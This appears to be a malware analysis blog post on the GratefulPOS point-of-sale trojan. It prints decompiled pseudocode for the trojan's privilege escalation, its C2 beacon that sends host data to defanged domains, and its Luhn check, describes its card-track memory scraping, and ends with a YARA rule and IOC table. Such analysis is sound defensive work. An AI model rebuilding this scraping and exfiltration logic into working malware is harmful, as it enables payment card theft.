The malware masks itself as a legitimate-looking service titled “LogMeIn Hamachi Launcher” with the short name of “LogMeInHamachi”. For those unfamiliar, LogMeIn Hamachi is a “virtual private network (VPN) application that is capable of establishing direct links between computers that are behind NAT firewalls without requiring reconfiguration (when the user’s PC can be accessed directly without relays from the Internet/WAN side).” Such VPN software is extremely popular amongst administrators and technicians who might need to remotely login to the point-of-sale card network to address IT administrative and network issues.

The malware control function contains the following four functions:
The install function leverages usual OpenSCManagerA, CreateServiceA to create the service with the description “Provides launch functionality for LogMeInHamachi services.” Additionally, it creates a unique mutex titled ‘DLLLaunchasdf1

II. XOR Byte String Build and XOR Obfuscation with Key “0AAh

Throughout its execution, the malware builds some notable strings via xoring the byte section in the loop *(&byte_memory ++) ^= 0x4Dh (via sequence of mov, xor, shl, movsx, and shl calls) displaying the strings as follows:
Oftentimes, malware coders build string paths to bypass some static anti-virus detection.
Notably, the GratefulPOS malware obfuscates its stolen data via the hardcoded XOR byte key to strings as follows:

*((_BYTE *)value + iter) ^= 0AAh

and converts it into hexadecimals adding to snprintf API call. The hardcoded xor byte key used is “0AAh.” Additionally, the malware checks the hardcoded string array while it XOR’s the data. The XOR key function location is as follows:

——-        ——–         
Address        Function                                 
——-        ——–             
.text:004030DB notice_write_func  
.text:00403847 memory_parser 
.text:00403873 memory_parser 
.text:004039DE memory_parser     
.text:00406C43 computer_name_gen

III. Memory Scraping Debug Privilege 

Then, the POS malware tries to obtain “SeDebugPrivilege” access for memory parsing leveraging the combination of GetCurrentProcess, OpenProcessToken, LookupPrivilegeValueA, and AdjustTokenPrivileges API calls.

int __cdecl sedebug_escalation(LPCSTR lpName)
  HANDLE v1; 
  int result; 
  DWORD ReturnLength; 
  HANDLE TokenHandle;
  struct _TOKEN_PRIVILEGES NewState;

  memset(&NewState, 0, 0x10u);                  // GratefulPOS obtain SeDebugPrivilege
  NewState.PrivilegeCount = 1;
  v1 = GetCurrentProcess();
  if ( OpenProcessToken(v1, 0xF01FFu, &TokenHandle) )
    if ( LookupPrivilegeValueA(0, lpName, (PLUID)NewState.Privileges) )
      NewState.Privileges[0].Attributes = 2;
      if ( AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, &ReturnLength) )
        result = 1;
        result = 0;
      result = 0;
    result = 0;
  return result;
IV. Client-Server Communications
The malware proceeds to check if the SID using AllocateAndInitializeSid and EqualSid to see if it has succeeded with the call. If the return call equals “1,” the malware copies and stores the string “adm”  indicating admin privileges. Otherwise, GratefulPOS copies and stores the string “nadm” indicating the absence of such privileges. 

Eventually, the malware uses this information as part of the ping.%s.%s.%s.%s storing it as string in the first argument to reach the server ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com (GET /index.php HTTP/1.0, wherein the host username is generated via GetComputerNameA xor’ed with the  byte key used “0AAh” and converted into hexadecimals). All in all, the malware runs the server calls in a separate thread. The POS malware then sleeps randomly for the period of between 2 hours and 3 hours (rand() % 3600000 + 7200000) before the next server call. GratefulPOS also adds the likely campaign identifier as “grp1” to the request when sending the data to the server. Notably, if the malware reads the value as “cccc,” it removes itself from the system. The malware collects both local computer name and its local IP.

signed int __cdecl get_http_resolve_func(int a1)
  signed int result; 
  char v2; 
  int v3; 
  int v4; 
  int v5; 
  int v6; 
  int v7; 
  int v8; 
  int v9; 
  int v10; 
  char v11; 
  char v12; 

  v11 = 0;
  memset(&v12, 0, 0x7FFu);
  _snprintf(&v11, 2047u, “%s.%s.%s.%s”, logmein_bid_value, computer_name, ‘grp1‘, a1, &name);
  v10 = 0;
  v6 = 0;
  memset(&v2, 0, 0x20u);
  v3 = 0;
  v4 = 1;
  v5 = 17;
  v7 = call_c2((int)&v11, (int)”http”, (int)&v2, (int)&v10);
  if ( v7 )
    result = -1;
    v8 = *(_DWORD *)(v10 + 24);
    v9 = *(_DWORD *)(v8 + 4);
    if ( v9 == ‘cccc’ )
    result = 0;
  return result;

V. Logger File and Collector File Generation
The POS malware proceeds to open the file “logmein[.]bid” with read access privileges and read first 10 bytes. If it does not exit it will create a file “logmein[.]bid” with four two-digit random signed integers between 0 and 255 in hexadecimals generated via the rand() % 255 command. This generated string becomes the exfiltration file marker masked as a system “.dat” file.

VI. Scraping Process Whitelisting

Then, the POS malware obtains a snapshot of current running processes via CreateToolhelp32Snapshot and compares it against the whitelisted ones for memory scraping function. The whitelisted functions as follows:

This is done to shorten memory scraping time looking for Track data by excluding known processes not associated with possible point-of-sale software. 

VII. Memory Scraping Logic
GratefulPOS proceeds to read process memory pages leveraging using VirtualQueryEx reading Buffer.State & 0x1000 && Buffer.Protect & 0xCC at a time. The malware also compares if the process file path is at least 5 characters long. Then, the POS malware scans memory regions via ReadProcessMemory API looking for Track 1 and Track 2 data and writing and appending it to the “.dat” file as “tt1.%s.%s.%s.%s” Track 1 data and “tt2.%s.%s” Track 2 data if the matched length is 140 and 60 characters, respectively. The malware also checks if it can reach the server and after several attempts it deletes the stolen data. Additionally, GratefulPOS appends “notice” to the same file to mark debugger output.
The observed structure of the submitted requests data is as follows:

VIII. Luhn Algorithm

The malware also validates the card information by running the Luhn algorithm for any purported track data that does not begin with digits “4” (VISA), “5” (Mastercard), “6” (Discover), “34″ (AMEX), “37” (AMEX), “36” (Diner’s Club), and “300-305” (Diner’s Club).

The Luhn function that verifies the validity of personal account number (PAN) is as follows:
BOOL __cdecl Luhn_Check(char *a1)
  size_t v1;
  int v3; 
  signed int v4; 
  signed int v5; 
  size_t v6; 
  int v7; 
  int v8; 
  int v9; 
  int v10; 
  int v11; 
  int v12; 
  int v13;
  int v14;
  int v15; 
  int v16;

  v7 = 0;
  v8 = 2;
  v9 = 4;
  v10 = 6;
  v11 = 8;
  v12 = 1;
  v13 = 3;
  v14 = 5;
  v15 = 7;
  v16 = 9;
  v5 = 1;
  v4 = 0;
  v6 = strlen(a1);
  while ( 1 )
    v1 = v6–;
    if ( !v1 )
    if ( v5 )
      v3 = a1[v6] – 48;
      v3 = *(&v7 + a1[v6] – 48);
    v4 += v3;
    v5 = v5 == 0;
  return v4 % 10 == 0;
X. Self-Deletion Process

The malware deletes itself removing itself the RUN key registry key as “LogMeIn Hamachi Launcher” and deleting itself as “logmeinlauncher[.]exe” upon reading the instruction “cccc.”


rule crime_win32_gratefulpos_trojan {
                description = “GratefulPOS malware variant”
                author = “@VK_Intel”
                reference = “Detects GratefulPOS”
                date = “2017-12-10”
                $s0 = “conhost.exe” fullword ascii
                $s1 = “del logmeinlauncher.exe” fullword ascii
                $s2 = “Chrome.exe” fullword ascii
                $s3 = “taskmgr.exe” fullword ascii
                $s4 = “firefox.exe” fullword ascii
                $s5 = “logmeinlauncher.exe stop” fullword ascii
                $s6 = “ping -n 1 -w 3000 > nul” fullword ascii
                $s7 = “Ymscoree.dll” fullword wide
                $s8 = “LogMeInHamachi Process Launcher” fullword ascii
                $s9 = “sched.exe” fullword ascii
                $s10 = “wininit.exe” fullword ascii
                $s11 = “wmiprvse.exe” fullword ascii
                $s12 = “RegSrvc.exe” fullword ascii
                $s13 = “mdm.exe” fullword ascii
                $s14 = “GET /index.php HTTP/1.0” fullword ascii
                $s15 = “LogMeIn Hamachi Launcher” fullword ascii
                $s16 = “logmein.bid” fullword ascii
                $s17 = “del sd.bat” fullword ascii
                $s18 = “sd.bat” fullword ascii
                uint16(0) == 0x5a4d and filesize < 500KB and 10 of them

Update (December 21, 2017): Thanks for the feedback in the comment section, I’ve compiled all the IOCs in one table listing Framework/GratefuPOS malware hashes (in SHA1), campaign IDs, service names, and known nameserver C2s.

3e7efa7ad5de8fe7698d993c968bc108ef0350d6 grp02 DllLaunch ns[.]a23-33-37-54-deploy-akamaitechnologies.[]com
268f4b8f7c981b04d2d19d4102cdcca6f965d3f3 grp03 DllLaunch ns[.]a23-33-37-54-deploy-akamaitechnologies.[]com
77bd272517a3c1abc8f5e07af3a5980becb3652e grp03 LogMeInServer ns[.]a23-33-37-54-deploy-akamaitechnologies.[]com
1762b5583552a435528334ffc552b73699e477cb grp05 LogMeInServer ns[.]a23-33-37-54-deploy-akamaitechnologies.[]com
d957e492e918ed200268e681907f4c7644b1a211 grp1 LogMeInHamachi ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com
2e7ca3676593674e9d75fb3efc73be62e378f5ce grp10 LogMeInServer ns[.]a23-33-37-54-deploy-akamaitechnologies.[]com
c76c62981f3d6526d799dd93f61559915f09005e grp2 LogMeInHamachi ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com
2d9b601d09bc1e49c94b316263f96d6ee6e57c54 v1702 TrueTypeFontSvc ns[.]a193-108-94-56-deploy-akamaitechnologies[.]com
17b657174313e3e7ce84c030991a271b66eb0840 v1702 TrueTypeFontSvc ns[.]a193-108-94-56-deploy-akamaitechnologies[.]com
04595012daaaf75f0a72db87b76e9fd9401a7a40 v1705 PnPH ns[.]a193-108-94-56-deploy-akamaitechnologies[.]com